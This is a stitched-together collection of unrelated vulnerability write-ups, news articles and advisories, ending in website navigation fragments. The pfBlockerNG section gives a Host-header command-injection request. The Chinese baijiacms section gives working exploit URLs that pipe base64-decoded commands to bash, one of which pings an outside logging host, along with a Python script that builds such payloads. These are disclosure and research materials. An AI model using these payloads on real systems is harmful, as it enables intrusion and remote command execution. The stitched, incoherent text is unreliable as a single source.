pfSense pfBlockerNG through 2.1.4_27 allows remote attackers to execute arbitrary OS commands as root via the HTTP Host header, a different vulnerability than CVE-2022-31814.

**pfBlockerNg-CVE-2022-40624****Background**

pfBlockerNG is the Next Generation of pfBlocker with the following features:

1.  Manage IPv4/v6 List Sources into 'Deny, Permit or Match' formats.
2.  GeoIP database by MaxMind Inc. (GeoLite2 Free version).
3.  De-Duplication, Suppression, and Reputation enhancements.
4.  Provision to download from diverse List formats.
5.  Advanced Integration for Proofpoint ET IQRisk IP Reputation Threat Sources.
6.  Domain Name (DNSBL) blocking via Unbound DNS Resolver.

https://docs.netgate.com/pfsense/en/latest/packages/pfblocker.html

**Affected Versions**

pfBlockerNg <2.1.4\_27

**Vulnerability**

Unauthenticated remote code execution (RCE)

The query for TLD Block section of index.php includes an unsanitized/unescaped user input d_query from the HEADER Host source into the PHP exec function sink.

exec("/usr/bin/grep -l '^{$d_query}$' /var/db/pfblockerng/dnsblalias/DNSBL_TLD", $match);

_/pfblockerng/www/index.php_

    // Query for a TLD Block
    if (empty($pfb_query)) {
    	$idparts	= explode('.', $query);
    	$idcnt		= (count($idparts) -1);
    
    	for ($i=1; $i <= $idcnt; $i++) {
    		$d_query = implode('.', array_slice($idparts, -$i, $i, TRUE));
    		exec("/usr/bin/grep -l '^{$d_query}$' /var/db/pfblockerng/dnsblalias/DNSBL_TLD", $match);
    
    		if (!empty($match[0])) {
    			$pfb_query = 'DNSBL_TLD';
    			break;
    		}
    	}
    }
    

**Exploitation**

Requires HTTP access to pfsense web console Sample payload: ' *; sleep 5; '

POC Request:

    GET /pfblockerng/www/index.php HTTP/1.1
    Host: test.test2' *; sleep 5; '
    Content-Length: 2
    

**Inspiration**

I love pfBlockerNg and was inspired by Di r00t's recent CVE-2022-31814 and great writeup https://www.ihteam.net/advisory/pfblockerng-unauth-rce-vulnerability/ and was curious to see if Snyk static application security test (SAST) tool would detect the vulnerability. So I download the respecitive index.php version 2.1.4\_26 file and ran Snyk Code against it. Sure enough Snyk detected the vuln plus another similar reporting just a handful of lines later.

CVE-2022-40624: GitHub - dhammon/pfBlockerNg-CVE-2022-40624

A Remote Code Execution (RCE) vulnerability was found in includes/baijiacms/common.inc.php in baijiacms v4.

项目地址：https://github.com/baijiacms/baijiacmsV4  
版本：V4.1.4 20170105 FINAL  
环境：

*   php 5.5.38
*   nginx 1.15
*   mysql 5.7.27
*   20.04.1-Ubuntu

漏洞点在文件includes/baijiacms/common.inc.php  
第654行。

**利用**

这个system的功能本来是为了执行压缩图片的。所以要利用该漏洞，需要先登录后台，在附近设置中设置图片压缩比例，否则代码无法运行到此处。

EXP1：http://192.168.0.64/baijiacmsV4-4.1.4/index.php?mod=site&act=public&do=file&op=fetch&url=http://127.0.0.1/poc.;echo${IFS}cGluZyBwb2MuZXhyNm1xLmNleWUuaW8gLWMgNA==|base64${IFS}-d|bash;&status=1&beid=1

EXP2：http://192.168.0.64/baijiacmsV4-4.1.4/index.php?mod=site&act=public&do=file&op=fetch&url=http://127.0.0.1/whoami.;echo${IFS}d2hvYW1p|base64${IFS}-d|bash;&status=1&beid=1

其中poc可以使用一下代码生成，随后开启web服务确保可以被访问到即可

1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17  
18  
19  
20  

import base64  
  
cmd = input("cmd>>> ")   
  
b64cmd = base64.b64encode(cmd.encode()).decode()  
  
payload = f"echo {b64cmd}|base64 -d|bash"  
  
print(payload)  
payload = payload.replace(' ','${IFS}')  
print(payload)  
  
name = input("name>>>")  
payload = f"{name}.;{payload};"  
print(payload)  
  
with open(file=webpath+payload,mode='w')as f:  
    f.write('1')  
  
  

**原理**

在该漏洞中，漏洞点为文件includes/baijiacms/common.inc.php  
第654行的system()。该函数位于file\_save()函数中。

1  

system('convert'.$quality\_command.' '.$file\_full\_path.' '.$file\_full\_path);  

其中，$quality\_command无法控制，能够控制的只有$file\_full\_path。

由于上一步调用file\_save()的，是fetch\_net\_file\_upload()函数的return部分

$file\_full\_path的定义往上翻为：

1  
2  
3  
4  
5  
6  
7  
8  
9  
10  

$file\_full\_path = WEB\_ROOT .$path . $extpath. $filename;  
  
  
$path = '/attachment/';  
$extpath\="{$extention}/" . date('Y/m/');  
$filename = random(15) . ".{$extention}";  
  
  
$extention = pathinfo($url,PATHINFO\_EXTENSION );  
  

所以能使用的payload只能存在于url后的文件名后缀中，且payload中由于代码功能的限制不能出现，

*   htmlspecialchars()
    
    *   includes/baijiacms.php line92 :$\_GP = irequestsplite($\_GP);
    *   &
    *   “
    *   ’
    *   <
    *   \>
*   后缀 (pathinfo())
    
    *   includes/baijiacms/common.inc.php line 617 :$extention = pathinfo($url,PATHINFO\_EXTENSION );
    *   .
*   file\_get\_contents()
    
    *   includes/baijiacms/common.inc.php line632 :if (file\_put\_contents($file\_tmp\_name, file\_get\_contents($url)) == false) {
    *   空格
*   文件名
    
    *   web服务器系统类型，在windows下限制颇多
    *   windows
        *   \\
        *   /
        *   :
        *   \*
        *   ?
        *   |
    *   linux
        *   /

**htmlspecialchars()**

在该系统中，所有的参数都会经过includes/baijiacms.php进行htmlspecialchars过滤

所以payload中首先排除了 < > “ ‘ &这些符号

**pathinfo()**

pathinfo()会返回文件路径的信息

1  

$extention = pathinfo($url,PATHINFO\_EXTENSION );  

代码中传入了PATHINFO\_EXTENSION参数，根据官方介绍，传入该参数，只会返回最后一个扩展名，扩展名以 . 划分。结合后面的分析，所以payload只能存在与扩展名中

**file\_get\_contents()**

这一步有两个条件，首先file\_get\_contents()需要可以get到文件，其次文件中需要有内容满足file\_put\_contents()

1  

if (file\_put\_contents($file\_tmp\_name, file\_get\_contents($url)) == false)   

**$settings\[‘image\_compress\_openscale’\]**

最后在file\_save()中还有一步

1  

if(!empty($settings\['image\_compress\_openscale'\]))  

这一步在略读了代码后才知道，它由函数globaPriveteSystemSetting()获的，取自数据库中。

略读代码后才知道，这个需要在后台中开启图片上传压缩才会在数据库中建立数据。以便后续读取。

所以需要在后台的附件设置中开启并设置图片压缩比例（具体数字随意）

**具体利用过程解析**

EXP:http://192.168.0.64/baijiacmsV4-4.1.4/index.php?mod=site&act=public&do=file&op=fetch&url=http://127.0.0.1/\[whoami.;echo${IFS}d2hvYW1p|base64${IFS}-d|bash;\](http://42.193.178.194/whoami.%3Becho%24{IFS}d2hvYW1p|base64%24{IFS}-d|bash%3B)&status=1&beid=1

这端url中，主要起作用的是url参数，其他的只是陪跑的（但是也不能删）。url参数原本是远程图片地址。

首先在自己的vps上设置payload，这里我设置的命令为whoami，为了便于区分payload，文件名也取名为whoami。然后使用python开启web服务。

然后登录baijiacms后台，设置一个压缩比例，保存，然后访问

http://192.168.0.64/baijiacmsV4-4.1.4/index.php?mod=site&act=public&do=file&op=fetch&url=http://127.0.0.1/whoami.%3Becho%24%7BIFS%7Dd2hvYW1p%7Cbase64%24%7BIFS%7D-d%7Cbash%3B&status=1&beid=1

然后我们来看debug。

代码运行到fetch\_net\_file\_upload函数中，走到$extention = pathinfo($url,PATHINFO\_EXTENSION );时，截取到了payload：;echo${IFS}d2hvYW1p|base64${IFS}-d|bash;

随后是mkdir根据时间，后缀，建立文件夹。之后来到if (file\_put\_contents($file\_tmp\_name, file\_get\_contents($url)) == false) 进行判断，这边我为了方便查看file\_get\_contents和file\_put\_contents哪个会出问题，多加了两行代码。

1  
2  

$flag1 = file\_put\_contents($file\_tmp\_name,"1");  
$flag2 = file\_get\_contents($url);  

在这里之后进入file\_save() 。传入了关键的变量

$file\_full\_path：/www/admin/localhost\_80/wwwroot/baijiacmsV4-4.1.4/attachment/;echo${IFS}d2hvYW1p|base64${IFS}-d|bash;/2022/11/G55bRGvfRVr00o3.;echo${IFS}d2hvYW1p|base64${IFS}-d|bash;

这边经过几个判断后，最后到达system()，最终传入的命令为。

convert -quality 100 /www/admin/localhost\_80/wwwroot/baijiacmsV4-4.1.4/attachment/;echo${IFS}d2hvYW1p|base64${IFS}-d|bash;/2022/11/AFqEQN31zocEeu1.;echo${IFS}d2hvYW1p|base64${IFS}-d|bash; /www/admin/localhost\_80/wwwroot/baijiacmsV4-4.1.4/attachment/;echo${IFS}d2hvYW1p|base64${IFS}-d|bash;/2022/11/AFqEQN31zocEeu1.;echo${IFS}d2hvYW1p|base64${IFS}-d|bash;

由于代码中会根据后缀建立文件夹，所以在system中，payload一共会执行四次，也就是为什么在执行whoami这个payload是，会输出4个www。

**nothing**

1.  在写测试的命令时，如果要用到ping dnslog这类命令，由于linux默认是会一直ping下去的。所以最好加一个-c 4限制次数（系统被搞崩了好多次）
    
2.  php中单引号的字符串和双引号的字符串差距还是挺大的。https://www.cnblogs.com/youxin/archive/2012/02/13/2348551.html。因为这个特性，测试的时候被卡了好久

CVE-2022-45942: baijiacmsV4 后台RCE | This_is_Y

Definitive solution is ‘non-trivial’ since behavior arises from customers processing non-RFC compliant requests

Definitive solution is ‘non-trivial’ since behavior arises from customers processing non-RFC compliant requests

A vulnerability in how Akamai retrieves Amazon Web Services (AWS) S3 resources could allow attackers to stage web cache poisoning attacks against websites.

Web cache poisoning involves malicious clients forcing content delivery networks (CDN) or web servers to cache malicious content and later serve it to other clients requesting the same resource.

**Double misconfiguration**

Akamai can map various HTTP requests to their corresponding S3 bucket and cache them for later retrieval. Security researcher Tarunkant Gupta discovered that he could trick the Akamai server into caching files from malicious buckets.

“A few months back I encountered a non-exploitable AWS S3 misconfiguration and I was just revisiting it to check if that still exists or not, but this time I wanted to explore all attack possibilities,” he told The Daily Swig. After trying different attack vectors, Gupta ran into a misconfiguration in Akamai’s cache servers that could be leveraged to exploit the S3 bug.

RELATED Akamai WAF bypassed via Spring Boot to trigger RCE

Akamai said creating “a blanket ‘patch’” was “not trivial, as that may have a big negative impact on legitimate internet traffic”, according to a technical writeup from Gupta. In the meantime, Gupta said users can protect themselves by not accepting any headers containing Unicode characters at the Akamai level. 

**Tampering header commands**

To exploit the vulnerability, an attacker must send a web request for a benign file, but modify the header directives to add a header preceded by a hex value (e.g. ) and followed by the malicious S3 address.

If the request results in a cache hit, then the Akamai server will prioritize the header with the Unicode value over the original header and cache the malicious file to serve it to future users who request the same path.

“Because of the S3 misconfiguration, it prioritizes the first header over the target origin and Akamai’s incorrect parsing on the inclusion of Unicode character let me pass exactly what I wanted to the S3 buckets, a malicious host on the first occurrence of the header,” Gupta explained.

**Attacking at scale**

The attack will only work if benign and malign files are stored in S3 buckets located in the same region. The attacker can create S3 buckets in all available regions and upload the malicious file to all of them.

Exploiting the bug would then be a matter of brute-forcing the web cache poisoning attack on the target web resource to see which bucket works.

Gupta tested the attack with an SVG file, which is usually a cached file type and can contain JavaScript code – making it especially dangerous. But the attack can also work with any other file type cached by the server.

Gupta also developed a pair of Python scripts that can find targets stored in S3 buckets and cached by Akamai.

“This issue is very easy to exploit, and one simple cURL can create a malicious cache,” Gupta said. “An automation script was created to exploit at scale. This issue can result in various types of attacks such as XSS, JavaScript injection, open redirection, DoS, spoofing, etc.”

**RFC non-compliance**

Akamai told Gupta that the configuration issue “results from certain customers’ needs to process non-RFC compliant requests for their applications to function correctly, and therefore cloud vendors offering features to support such traffic unless explicitly instructed not to do so.”

Kaan Onarlioglu, senior infosec architect at Akamai, told The Daily Swig: “By default, Akamai edge servers allow certain invalid HTTP headers to pass through, treating them as custom headers.”

Catch up with the latest hacking techniques news and analysis

This feature is necessary to support large volumes of legitimate traffic flows and origin applications that rely on invalid headers to function correctly, he said. However, it could sometimes lead to unexpected interactions between Akamai and origin servers, depending on the origin’s request processing behavior.

“Akamai provides a strict header parsing configuration option to block traffic containing invalid headers, and we strongly urge our customers to utilize it unless that interferes with their operations,” Onarlioglu continued.

According to Onarlioglu, Akamai is currently working on making strict header parsing a default behavior instead of offering an opt-out mechanism for customers. The work is expected to be finalized early in 2023.

Gupta advised web developers to always follow RFC and its recommendations. “Many companies don’t follow them and also don't put any countermeasures around it, which sometimes becomes a serious issue,” he said.

RECOMMENDED Researcher discovers 70 web cache poisoning vulnerabilities, nets $40k in bug bounty rewards

Akamai wrestles with AWS S3 web cache poisoning bug 

Sites spoofing Grammarly and a Cisco webpage are spreading the DarkTortilla threat, which is filled with follow-on malware attacks.

Researchers have spotted two phishing sites — one spoofing a Cisco webpage and the other masquerading as a Grammarly site — that threat actors are using to distribute a particularly pernicious piece of malware known as "DarkTortilla."

The .NET-based malware can be configured to deliver various payloads and is known for functions that make it extremely stealthy and persistent on the systems it compromises.

Multiple threat groups have been using DarkTortilla since at least 2015 to drop information stealers and remote access Trojans, such as AgentTesla, AsyncRAT and NanoCore. Some ransomware groups too — such as the operators of Babuk — have used DarkTortilla as part of their payload delivery chain. In many of these campaigns, attackers have primarily used malicious file attachments (.zip, .img, .iso) in spam emails to wrap up unsuspecting users in the malware.

**DarkTortilla Delivery Via Phishing Sites**

Recently, researchers at Cyble Research and Intelligence Labs identified a malicious campaign where threat actors are using two phishing sites, masquerading as legitimate sites, to distribute the malware. Cyble surmised that the operators of the campaign are likely using spam email or online ads to distribute links to the two sites.

Users who follow the link to the spoofed Grammarly website end up downloading a malicious file named "GnammanlyInstaller.zip" when they click on the "Get Grammarly" button. The .zip file contains a malicious installer disguised as a Grammarly executable that drops a second, encrypted 32-bit .NET executable. That in turn downloads an encrypted DLL file from an attacker-controlled remote server. The .NET executable decrypts the encrypted DLL file and loads it into the compromised system's memory, where it executes a variety of malicious activities, Cyble said.

The Cisco phishing site meanwhile looks like a download page for Cisco's Secure Client VPN technology. But when a user clicks on the button to "order" the product, they end up downloading a malicious VC++ file from a remote attacker-controlled server instead. The malware triggers a series of actions that end with DarkTortilla installed on the compromised system.

Cyble's analysis of the payload showed the malware packing functions for persistence, process injection, doing antivirus and virtual machine/sandbox checks, displaying fake messages, and communicating with its command-and-control (C2) server and downloading additional payloads from it.

Cyble's researchers found that to ensure persistence on an infected system for instance, DarkTortilla drops a copy of itself into the system's Startup folder and creates Run/Winlogin registry entries. As an additional persistence mechanism, DarkTortilla also creates a new folder named "system\_update.exe" on the infected system and copies itself into the folder.

**Sophisticated & Dangerous Malware**

DarkTortilla's fake message functionality meanwhile basically serves up messages to trick victims into believing the Grammarly or Cisco application they wanted failed to execute because certain dependent application components were not available on their system.

"The DarkTortilla malware is highly sophisticated .NET-based malware that targets users in the wild," Cyble researchers said in a Monday advisory. "The files downloaded from the phishing sites exhibit different infection techniques, indicating that the \[threat actors\] have a sophisticated platform capable of customizing and compiling the binary using various options."

DarkTortilla, as mentioned, often acts as a first-stage loader for additional malware. Researchers from Secureworks' Counter Threat Unit earlier this year identified threat actors using DarkTortilla to mass distribute a wide range of malware including, Remcos, BitRat, WarzoneRat, Snake Keylogger, LokiBot, QuasarRat, NetWire, and DCRat.

They also identified some adversaries using the malware in targeted attacks to deliver Cobalt Strike and Metasploit post-compromise attack kits. At the time, Secureworks said it had counted at least 10,000 unique DarkTortilla samples since it first spotted a threat actor using the malware in an attack targeting a critical Microsoft Exchange remote code execution vulnerability (CVE-2021-34473) last year.

Secureworks assessed DarkTortilla as being very dangerous because of its high degree of configurability and its use of open source tools like CofuserEX and DeepSea to obfuscate its code. The fact that DarkTortilla's main payload is executed entirely in memory is another feature that makes the malware dangerous and difficult to spot, Secureworks noted at the time.

Sophisticated DarkTortilla Malware Serves Imposter Cisco, Grammarly Pages

DWG TrueViewTM 2023 version has a DLL Search Order Hijacking vulnerability. Successful exploitation by a malicious attacker could result in remote code execution on the target system.

_Disclaimer_

_INFORMATION IN THIS DOCUMENT IS PROVIDED “AS IS” IN CONNECTION WITH AUTODESK® PRODUCTS. AUTODESK AND/OR ITS RESPECTIVE SUBSIDIARIES, AFFILIATES, SUPPLIERS AND LICENSORS AND ITS AND THEIR DIRECTORS, OFFICERS, EMPLOYEES, AGENTS AND REPRESENTATIVES MAKE NO REPRESENTATIONS ABOUT THE SITE, ANY PRODUCTS AND SERVICES CONTAINED ON THE SITE OR THE SUITABILITY OF THE INFORMATION CONTAINED IN THE MATERIALS, INFORMATION, CONTENT, DOCUMENTS, AND RELATED GRAPHICS PUBLISHED ON THIS SITE FOR ANY PURPOSE. THE SITE, ANY PRODUCTS OR SERVICES (INCLUDING WITHOUT LIMITATION, THIRD PARTY PRODUCTS AND SERVICES) OBTAINED THROUGH THE SITE, AND ALL SUCH INFORMATION, CONTENT, DOCUMENTS, AND RELATED GRAPHICS ARE PROVIDED FOR YOUR USE AT YOUR OWN RISK AND "AS IS" WITHOUT WARRANTY OF ANY KIND. AUTODESK AND/OR ITS RESPECTIVE SUBSIDIARIES, AFFILIATES, SUPPLIERS AND LICENSORS HEREBY DISCLAIM ALL WARRANTIES AND CONDITIONS WITH REGARD TO THIS SITE, SUCH PRODUCTS AND SERVICES AND SUCH INFORMATION, CONTENT, DOCUMENTS, AND RELATED GRAPHICS, INCLUDING ALL IMPLIED WARRANTIES AND CONDITIONS OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, TITLE, AND NON-INFRINGEMENT._

_© 2022, Autodesk, Inc._

CVE-2022-42945: Security Advisories | Autodesk Trust Center

Categories: Exploits and vulnerabilities
Categories: News
Tags: wormable

Tags:  zero-day

Tags:  spring4shell

Tags:  cve-2022-34718

Tags:  log4j

Tags:  openssl

Tags:  cve-2022-36934

Tags:  cve-2022-27492

Tags:  cve-2022-22965

Tags:  cve-2022-22963

What does it take to make the discussion of vulnerabilities useful? And where did this go wrong in 2022?



(Read more...)




The post 4 over-hyped security vulnerabilities of 2022 appeared first on Malwarebytes Labs.

A critical vulnerability can send countless organizations into chaos, as security teams read up on the vulnerability, try to figure out whether it applies to their systems, download any potential patches, and deploy those fixes to affected machines. But a lot can go wrong when a vulnerability is discovered, disclosed, and addressed—an inflated severity rating, a premature disclosure, even a mixup in names.

In these instances, when the security community is readying itself for a major sea change, what it instead gets is a ripple. Here are some of the last year's biggest miscommunications and errors in security vulnerabilities. 

**1\. "Wormable"**

There are some qualifications for vulnerabilities that send shivers up the spine of the security community as a whole. A “wormable”  vulnerability is used when the possibility exists that an infected system can contribute as an active source to infect other systems. This makes the growth potential of an infection exponential. You'll often see the phrase “WannaCry like proportions” used as a warning about how bad it could get.

Which brings us to our first example: CVE-2022-34718, a Windows TCP/IP Remote Code Execution (RCE) vulnerability with a CVSS rating of 9.8. The vulnerability could have allowed an unauthenticated attacker to execute code with elevated privileges on affected systems without user interaction, which makes it "wormable," but in the end, it turned out to be not so bad since it only affected systems with IPv6 and IPSec enabled and it was patched before an in-depth analysis of the vulnerability was publicly disclosed.

**2\. Essential building blocks**

Something we've learned the hard way is that there are very popular libraries maintained by volunteers, that many other applications rely on. A library is a set of resources that can be shared among processes. Often these resources are specific functions aimed at a certain goal which can be called upon when needed so they do not have to be included in the code of the software. A prime example of such a library that caused quite some havoc was Log4j.

So, when OpenSSL announced a fix for a critical issue in OpenSSL, everybody remembered that the last time OpenSSl fixed a critical vulnerability, that vulnerability was known as Heartbleed. The Heartbleed vulnerability was discovered and patched in 2014, but infected systems kept popping up for years.

However, when the patch came out for the more recent OpenSSL issue, it turned out the bug had been downgraded in severity. That was good news all around: The patch for the two vulnerabilities is available, and the announced vulnerability wasn’t as severe as we expected. And there is no known exploit for the vulnerabilities doing the rounds.

**3\. Zero-day**

The different interpretations for the term zero-day tend to be confusing as well.

The most accepted definition is:

> “A zero-day is a flaw in software, hardware or firmware that is unknown to the party or parties responsible for patching or otherwise fixing the flaw.”

But you will almost as often see something called a zero-day because the patch is not available yet, even though the party or parties responsible for patching or otherwise fixing the flaw are aware of the vulnerability. For example, Microsoft uses this definition:

> “A zero-day vulnerability is a flaw in software for which no official patch or security update has been released. A software vendor may or may not be aware of the vulnerability, and no public information about this risk is available.”

The difference is significant. The fact that a vulnerability exists is true for almost any complex platform or software. Someone has to find such a vulnerability before it becomes a risk. Then it depends on the researcher finding the flaw whether it becomes a threat. If the researcher follows the rules of responsible disclosure, the vendor will be made aware of the existence of the flaw before anyone else, and the vendor will have a chance to find and publish a fix for the bug before any malicious actors find out about it.

So, for a vulnerability to be alarming, I would argue it has to be used in the wild or a public Proof-of-Concept has to be available _before_ the patch has been released.

As an example of where this went wrong, a set of critical RCE vulnerabilities in WhatsApp got designated as a zero-day by several outlets, including some that should know better. As it turned out, the vulnerabilities listed as CVE-2022-36934 and CVE-2022-27492 were found by the WhatsApp internal security team and silently fixed, so they never posed any actual risk to any user. Yes, the consequences would have been disastrous if threat actors had found the vulnerabilities before the WhatsApp team did, but there never were any indications that these vulnerabilities had been exploited.

**4\. Spring4Shell**

Publicly disclosed computer security flaws are listed in the Common Vulnerabilities and Exposures (CVE) database as an individual number. CVE numbers are very helpful because they are unique and used in many reliable sources, so they make it easy to find a lot of information about a particular vulnerability. But they are hard to remember (for me at least). Coming up with fancy names and logos for vulnerabilities names, such as Log4Shell, Heartbleed, and Meltdown/Spectre helps us to tell them apart.

But when security experts themselves start to confuse different vulnerabilities in the same framework and researchers disclose details about an unpatched vulnerability because they think the information is out anyway, serious problems can arise.

In March, two RCE vulnerabilities were being discussed on the internet. Most of the people talking about them believed they were talking about “Spring4Shell” (CVE-2022-22965), but in reality they were discussing CVE-2022-22963. To add to the stress, a Chinese researcher prematurely spilled details about the vulnerability before the developer of the vulnerable Spring Framework could come up with a patch. This may have been due to the confusion about the two vulnerabilities.

In the end, Spring4Shell fizzled, working only for certain configurations and not for an out-of-the-box install.

**Public service or not?**

So, are we doing the public a service by writing about vulnerabilities? We feel we are, because it is good to raise awareness about the existence of vulnerabilities. But, to be effective, we need to meet certain criteria.

*   First of all, it needs to be made clear who is affected and who needs to do something about it. And what you can do to protect yourself.
*   While it is not always easy to make an assessment about the threat level, since we often don’t have the exact details of a vulnerability, it is desirable to not exaggerate the impact.
*   Make it very clear whether or not a threat is being used in the wild if you have that information.

In a recent assessment, security researcher Amélie Koran said on Mastodon that the economic costs of Heartbleed were mostly due to vulnerability assessment and patching and not necessarily lost or stolen data. Not that it wouldn’t have backfired if the patch hadn’t been deployed, but it is something to keep in mind. A panic situation can do more harm than the actual threat.

**We don’t just report on threats—we remove them**

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

4 over-hyped security vulnerabilities of 2022

A vulnerability was found in jLEMS. It has been declared as critical. Affected by this vulnerability is the function unpackJar of the file src/main/java/org/lemsml/jlems/io/util/JUtil.java. The manipulation leads to path traversal. The attack can be launched remotely. The name of the patch is 8c224637d7d561076364a9e3c2c375daeaf463dc. It is recommended to apply a patch to fix this issue. The identifier VDB-216169 was assigned to this vulnerability.

**Security Vulnerability Fix**

This pull request fixes a Zip Slip vulnerability either due to an insufficient, or missing guard when unzipping zip files.

Even if you deem, as the maintainer of this project, this is not necessarily fixing a security vulnerability, it is still, most likely, a valid security hardening.

**Preamble****Impact**

This issue allows a malicious zip file to potentially break out of the expected destination directory, writing contents into arbitrary locations on the file system.  
Overwriting certain files/directories could allow an attacker to achieve remote code execution on a target system by exploiting this vulnerability.

**Why?**

The best description of Zip-Slip can be found in the white paper published by Snyk: Zip Slip Vulnerability

**But I had a guard in place, why wasn't it sufficient?**

If the changes you see are a change to the guard, not the addition of a new guard, this is probably because this code contains a Zip-Slip vulnerability due to a partial path traversal vulnerability.

To demonstrate this vulnerability, consider "/usr/outnot".startsWith("/usr/out").  
The check is bypassed although /outnot is not under the /out directory.  
It's important to understand that the terminating slash may be removed when using various String representations of the File object.  
For example, on Linux, println(new File("/var")) will print /var, but println(new File("/var", "/") will print /var/;  
however, println(new File("/var", "/").getCanonicalPath()) will print /var.

**The Fix**

Implementing a guard comparing paths with the method java.nio.files.Path#startsWith will adequately protect against this vulnerability.

For example: file.getCanonicalFile().toPath().startsWith(BASE_DIRECTORY) or file.getCanonicalFile().toPath().startsWith(BASE_DIRECTORY_FILE.getCanonicalFile().toPath())

**Other Examples**

*   CVE-2018-1002201 - zeroturnaround/zt-zip
*   CVE-2018-1002202 - srikanth-lingala/zip4j
*   CVE-2018-8009 - apache/hadoop

**➡️ Vulnerability Disclosure ⬅️**

👋 Vulnerability disclosure is a super important part of the vulnerability handling process and should not be skipped! This may be completely new to you, and that's okay, I'm here to assist!

First question, do we need to perform vulnerability disclosure? It depends!

1.  Is the vulnerable code only in tests or example code? No disclosure required!
2.  Is the vulnerable code in code shipped to your end users? Vulnerability disclosure is probably required!

For partial path traversal, consider if user-supplied input could ever flow to this logic. If user-supplied input could reach this conditional, it's insufficient and, as such, most likely a vulnerability.

**Vulnerability Disclosure How-To**

You have a few options options to perform vulnerability disclosure. However, I'd like to suggest the following 2 options:

1.  Request a CVE number from GitHub by creating a repository-level GitHub Security Advisory. This has the advantage that, if you provide sufficient information, GitHub will automatically generate Dependabot alerts for your downstream consumers, resolving this vulnerability more quickly.
2.  Reach out to the team at Snyk to assist with CVE issuance. They can be reached at the Snyk's Disclosure Email. Note: Please include JLLeitschuh Disclosure in the subject of your email so it is not missed.

**Detecting this and Future Vulnerabilities**

You can automatically detect future vulnerabilities like this by enabling the free (for open-source) GitHub Action.

I'm not an employee of GitHub, I'm simply an open-source security researcher.

**Source**

This contribution was automatically generated with an OpenRewrite refactoring recipe, which was lovingly handcrafted to bring this security fix to your repository.

The source code that generated this PR can be found here:  
Zip Slip

**Why didn't you disclose privately (ie. coordinated disclosure)?**

This PR was automatically generated, in-bulk, and sent to this project as well as many others, all at the same time.

This is technically what is called a "Full Disclosure" in vulnerability disclosure, and I agree it's less than ideal. If GitHub offered a way to create private pull requests to submit pull requests, I'd leverage it, but that infrastructure, sadly, doesn't exist yet.

The problem is that, as an open source software security researcher, I (exactly like open source maintainers), I only have so much time in a day. I'm able to find vulnerabilities impacting hundreds, or sometimes thousands of open source projects with tools like GitHub Code Search and CodeQL. The problem is that my knowledge of vulnerabilities doesn't scale very well.

Individualized vulnerability disclosure takes time and care. It's a long and tedious process, and I have a significant amount of experience with it (I have over 50 CVEs to my name). Even tracking down the reporting channel (email, Jira, etc..) can take time and isn't automatable. Unfortunately, when facing problems of this scale, individual reporting doesn't work well either.

Additionally, if I just spam out emails or issues, I'll just overwhelm already over-taxed maintainers, I don't want to do this either.

By creating a pull request, I am aiming to provide maintainers something highly actionable to actually fix the identified vulnerability; a pull request.

There's a larger discussion on this topic that can be found here: JLLeitschuh/security-research#12

**Opting Out**

If you'd like to opt out of future automated security vulnerability fixes like this, please consider adding a file called  
.github/GH-ROBOTS.txt to your repository with the line:

    User-agent: JLLeitschuh/security-research
    Disallow: *
    

This bot will respect the ROBOTS.txt format for future contributions.

Alternatively, if this project is no longer actively maintained, consider archiving the repository.

**CLA Requirements**

_This section is only relevant if your project requires contributors to sign a Contributor License Agreement (CLA) for external contributions._

It is unlikely that I'll be able to directly sign CLAs. However, all contributed commits are already automatically signed off.

> The meaning of a signoff depends on the project, but it typically certifies that committer has the rights to submit this work under the same license and agrees to a Developer Certificate of Origin  
> (see https://developercertificate.org/ for more information).
> 
> \- Git Commit Signoff documentation

If signing your organization's CLA is a strict-requirement for merging this contribution, please feel free to close this PR.

**Sponsorship & Support**

This contribution is sponsored by HUMAN Security Inc. and the new Dan Kaminsky Fellowship, a fellowship created to celebrate Dan's memory and legacy by funding open-source work that makes the world a better (and more secure) place.

This PR was generated by Moderne, a free-for-open source SaaS offering that uses format-preserving AST transformations to fix bugs, standardize code style, apply best practices, migrate library versions, and fix common security vulnerabilities at scale.

**Tracking**

All PR's generated as part of this fix are tracked here: JLLeitschuh/security-research#16

CVE-2022-4583: [SECURITY] Fix Zip Slip Vulnerability by JLLeitschuh · Pull Request #103 · LEMS/jLEMS

Deserialization issue discovered in Ruoyi before 4.6.1 allows remote attackers to run arbitrary code via weak cipher in Shiro framework.

**CVE-2021-38241**

Deserialization issue discovered in Ruoyi before 4.6.1 allows remote attackers to run arbitrary code via weak cipher in Shiro framework.

In versions of the Ruoyi management system that are lower than v4.6.1, there is a problem that hard-coded shiro keys can be used by attackers to deserialize the default keys to execute commands.

  
\> \[VulnerabilityType Other\]  
\>> RCE (Remote command execution)  
\---------------------------------------------------------------  
\> \[Affected Component\]  
\>> All exp and details in: CVE-2021-38241 - du1ge  
\---------------------------------------------------------------  
\> \[Attack Type\]  
\>> Remote  
\---------------------------------------------------------------  
\> \[Impact Code execution\]  
\>> true  
\---------------------------------------------------------------  
\> \[Attack Vectors\]  
\>> Shiro deserialization's poc is effective. Use AES GCM's poc.  
\---------------------------------------------------------------  
\> \[Discoverer\]  
\>> du1ge  
\---------------------------------------------------------------  
\> \[Reference\]  
\>> https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-4437  
\>> https://gitee.com/y\_project/RuoYi

\>> CVE-2021-38241 - du1ge  
\---------------------------------------------------------------  
\> \[Vendor of Product\]  
\>> yangzongzhuan/RuoYi: (RuoYi)官方仓库 基于SpringBoot的权限管理系统 易读易懂、界面简洁美观。 核心技术采用Spring、MyBatis、Shiro没有任何其它重度依赖。直接运行即可用 (github.com)  
\---------------------------------------------------------------  
\> \[Affected Product Code Base\]  
\>> Ruoyi <= v4.6.1  
\---------------------------------------------------------------

CVE-2021-38241: CVE-2021-38241 - du1ge

Rockwell Automation was made aware of a vulnerability by a security researcher from Georgia Institute of Technology that the MicroLogix 1100 and 1400 controllers contain a vulnerability that may give an attacker the ability to accomplish remote code execution. The vulnerability is an unauthenticated stored cross-site scripting vulnerability in the embedded webserver. The payload is transferred to the controller over SNMP and is rendered on the homepage of the embedded website.

Skip Navigation

menu

*   Support Center
*   Get Support Chat & Submit a Question Phone Support Holiday Schedule
*   Training & Webinars
*   Online Forum
*   Customer Care Customer Care Overview Phone Support Holiday Schedule

Sign In

Quickly log in or create an account using an existing service

Yahoo

